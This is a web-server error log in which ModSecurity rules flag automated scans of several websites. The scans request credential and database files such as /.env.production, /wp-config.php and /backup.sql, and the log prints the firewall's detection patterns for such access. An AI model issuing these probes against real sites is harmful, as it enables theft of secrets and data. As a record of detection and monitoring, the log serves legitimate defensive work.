[Fri Jul 17 08:27:15.492578 2026] [security2:error] [pid 1994446:tid 1994446] [client 32.192.229.88:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "trails.lk"] [uri "/data.sql"] [unique_id "almaC12NhE8i6ppze4etpAAAAAs"]
[Fri Jul 17 08:27:15.738949 2026] [security2:error] [pid 2002425:tid 2002425] [client 44.220.61.253:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/data.sql"] [unique_id "almaC6UJv0yl2bIgVrkNJQAAABU"]
[Fri Jul 17 08:27:15.739369 2026] [security2:error] [pid 2002425:tid 2002425] [client 44.220.61.253:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/data.sql"] [unique_id "almaC6UJv0yl2bIgVrkNJQAAABU"]
[Fri Jul 17 08:27:15.739618 2026] [security2:error] [pid 2002425:tid 2002425] [client 44.220.61.253:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaC6UJv0yl2bIgVrkNJQAAABU"]
[Fri Jul 17 08:27:16.092471 2026] [security2:error] [pid 1993619:tid 1993619] [client 32.192.229.88:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/trails-global": Permission denied [hostname "trails.lk"] [uri "/index.php"] [unique_id "almaB41dLClkUfK_dfHhSwAAAAI"]
[Fri Jul 17 08:27:16.092523 2026] [security2:error] [pid 1993619:tid 1993619] [client 32.192.229.88:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/trails-ip": Permission denied [hostname "trails.lk"] [uri "/index.php"] [unique_id "almaB41dLClkUfK_dfHhSwAAAAI"]
[Fri Jul 17 08:27:16.957532 2026] [security2:error] [pid 1993715:tid 1993715] [client 32.192.229.88:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "trails.lk"] [uri "/index.php"] [unique_id "almaCHRlmrtCoY_COpciVQAAAAg"]
[Fri Jul 17 08:27:17.485569 2026] [security2:error] [pid 1994976:tid 1994976] [client 32.192.229.88:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "trails.lk"] [uri "/index.php"] [unique_id "almaCjRCJXF37-WnVv0idwAAABI"]
[Fri Jul 17 08:27:17.938839 2026] [security2:error] [pid 2002425:tid 2002425] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almaDaUJv0yl2bIgVrkNKQAAABU"], referer: http://anandaobauae.org/?C=N;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:27:17.938899 2026] [security2:error] [pid 2002425:tid 2002425] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almaDaUJv0yl2bIgVrkNKQAAABU"], referer: http://anandaobauae.org/?C=N;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:27:18.357623 2026] [ssl:error] [pid 1993659:tid 1993659] (70014)End of file found: [client 66.85.158.91:38402] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:27:19.119853 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:38476] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:27:19.237305 2026] [security2:error] [pid 2005917:tid 2005917] [client 3.84.142.51:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "sunriselanka.lk"] [uri "/database.sql"] [unique_id "almaD3f2WrySr2miwA73ZgAAABY"]
[Fri Jul 17 08:27:19.237654 2026] [security2:error] [pid 2005917:tid 2005917] [client 3.84.142.51:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sunriselanka.lk"] [uri "/database.sql"] [unique_id "almaD3f2WrySr2miwA73ZgAAABY"]
[Fri Jul 17 08:27:19.238025 2026] [security2:error] [pid 2005917:tid 2005917] [client 3.84.142.51:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "sunriselanka.lk"] [uri "/database.sql"] [unique_id "almaD3f2WrySr2miwA73ZgAAABY"]
[Fri Jul 17 08:27:19.240537 2026] [security2:error] [pid 1993715:tid 1993715] [client 3.84.142.51:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "sunriselanka.lk"] [uri "/data.sql"] [unique_id "almaD3RlmrtCoY_COpciWAAAAAg"]
[Fri Jul 17 08:27:19.240921 2026] [security2:error] [pid 1993715:tid 1993715] [client 3.84.142.51:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sunriselanka.lk"] [uri "/data.sql"] [unique_id "almaD3RlmrtCoY_COpciWAAAAAg"]
[Fri Jul 17 08:27:19.241314 2026] [security2:error] [pid 1993715:tid 1993715] [client 3.84.142.51:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "sunriselanka.lk"] [uri "/data.sql"] [unique_id "almaD3RlmrtCoY_COpciWAAAAAg"]
[Fri Jul 17 08:27:19.278933 2026] [security2:error] [pid 1994446:tid 1994446] [client 32.192.229.88:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "trails.lk"] [uri "/index.php"] [unique_id "almaC12NhE8i6ppze4etpAAAAAs"]
[Fri Jul 17 08:27:19.329947 2026] [security2:error] [pid 2013831:tid 2013831] [client 3.84.142.51:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "sunriselanka.lk"] [uri "/backup.sql"] [unique_id "almaD6hgWo8idb8AQWuZ2wAAABs"]
[Fri Jul 17 08:27:19.330342 2026] [security2:error] [pid 2013831:tid 2013831] [client 3.84.142.51:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sunriselanka.lk"] [uri "/backup.sql"] [unique_id "almaD6hgWo8idb8AQWuZ2wAAABs"]
[Fri Jul 17 08:27:19.330698 2026] [security2:error] [pid 2013831:tid 2013831] [client 3.84.142.51:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "sunriselanka.lk"] [uri "/backup.sql"] [unique_id "almaD6hgWo8idb8AQWuZ2wAAABs"]
[Fri Jul 17 08:27:19.993995 2026] [security2:error] [pid 2008451:tid 2008451] [client 3.84.142.51:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "sunriselanka.lk"] [uri "/db.sql"] [unique_id "almaDwPhWp7RzB65h36ejwAAAA0"]
[Fri Jul 17 08:27:19.994372 2026] [security2:error] [pid 2008451:tid 2008451] [client 3.84.142.51:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sunriselanka.lk"] [uri "/db.sql"] [unique_id "almaDwPhWp7RzB65h36ejwAAAA0"]
[Fri Jul 17 08:27:19.994838 2026] [security2:error] [pid 2008451:tid 2008451] [client 3.84.142.51:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "sunriselanka.lk"] [uri "/db.sql"] [unique_id "almaDwPhWp7RzB65h36ejwAAAA0"]
[Fri Jul 17 08:27:20.009620 2026] [ssl:error] [pid 2005917:tid 2005917] (70014)End of file found: [client 66.85.158.91:38580] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:27:20.124074 2026] [security2:error] [pid 2013831:tid 2013831] [client 3.84.142.51:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "sunriselanka.lk"] [uri "/.env.backup"] [unique_id "almaEKhgWo8idb8AQWuZ3AAAABs"]
[Fri Jul 17 08:27:20.124250 2026] [security2:error] [pid 2013831:tid 2013831] [client 3.84.142.51:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "sunriselanka.lk"] [uri "/.env.backup"] [unique_id "almaEKhgWo8idb8AQWuZ3AAAABs"]
[Fri Jul 17 08:27:20.124545 2026] [security2:error] [pid 2013831:tid 2013831] [client 3.84.142.51:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sunriselanka.lk"] [uri "/.env.backup"] [unique_id "almaEKhgWo8idb8AQWuZ3AAAABs"]
[Fri Jul 17 08:27:20.124993 2026] [security2:error] [pid 2013831:tid 2013831] [client 3.84.142.51:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "sunriselanka.lk"] [uri "/.env.backup"] [unique_id "almaEKhgWo8idb8AQWuZ3AAAABs"]
[Fri Jul 17 08:27:20.271706 2026] [security2:error] [pid 2008451:tid 2008451] [client 3.84.142.51:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "sunriselanka.lk"] [uri "/.env.production"] [unique_id "almaEAPhWp7RzB65h36ekAAAAA0"]
[Fri Jul 17 08:27:20.271950 2026] [security2:error] [pid 2008451:tid 2008451] [client 3.84.142.51:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sunriselanka.lk"] [uri "/.env.production"] [unique_id "almaEAPhWp7RzB65h36ekAAAAA0"]
[Fri Jul 17 08:27:20.272328 2026] [security2:error] [pid 2008451:tid 2008451] [client 3.84.142.51:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "sunriselanka.lk"] [uri "/.env.production"] [unique_id "almaEAPhWp7RzB65h36ekAAAAA0"]
[Fri Jul 17 08:27:20.447943 2026] [security2:error] [pid 2013809:tid 2013809] [client 3.84.142.51:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "sunriselanka.lk"] [uri "/.env.dev"] [unique_id "almaEEgVnBK6wAv37w6onQAAABQ"]
[Fri Jul 17 08:27:20.448460 2026] [security2:error] [pid 2013809:tid 2013809] [client 3.84.142.51:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sunriselanka.lk"] [uri "/.env.dev"] [unique_id "almaEEgVnBK6wAv37w6onQAAABQ"]
[Fri Jul 17 08:27:20.449136 2026] [security2:error] [pid 2013809:tid 2013809] [client 3.84.142.51:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "sunriselanka.lk"] [uri "/.env.dev"] [unique_id "almaEEgVnBK6wAv37w6onQAAABQ"]
[Fri Jul 17 08:27:20.630582 2026] [security2:error] [pid 1993715:tid 1993715] [client 3.84.142.51:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "sunriselanka.lk"] [uri "/wp-config.php"] [unique_id "almaEHRlmrtCoY_COpciWwAAAAg"]
[Fri Jul 17 08:27:20.630837 2026] [security2:error] [pid 1993715:tid 1993715] [client 3.84.142.51:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sunriselanka.lk"] [uri "/wp-config.php"] [unique_id "almaEHRlmrtCoY_COpciWwAAAAg"]
[Fri Jul 17 08:27:20.637304 2026] [proxy_fcgi:error] [pid 1993715:tid 1993715] [client 3.84.142.51:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:27:20.637958 2026] [security2:error] [pid 1993715:tid 1993715] [client 3.84.142.51:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "sunriselanka.lk"] [uri "/wp-config.php"] [unique_id "almaEHRlmrtCoY_COpciWwAAAAg"]
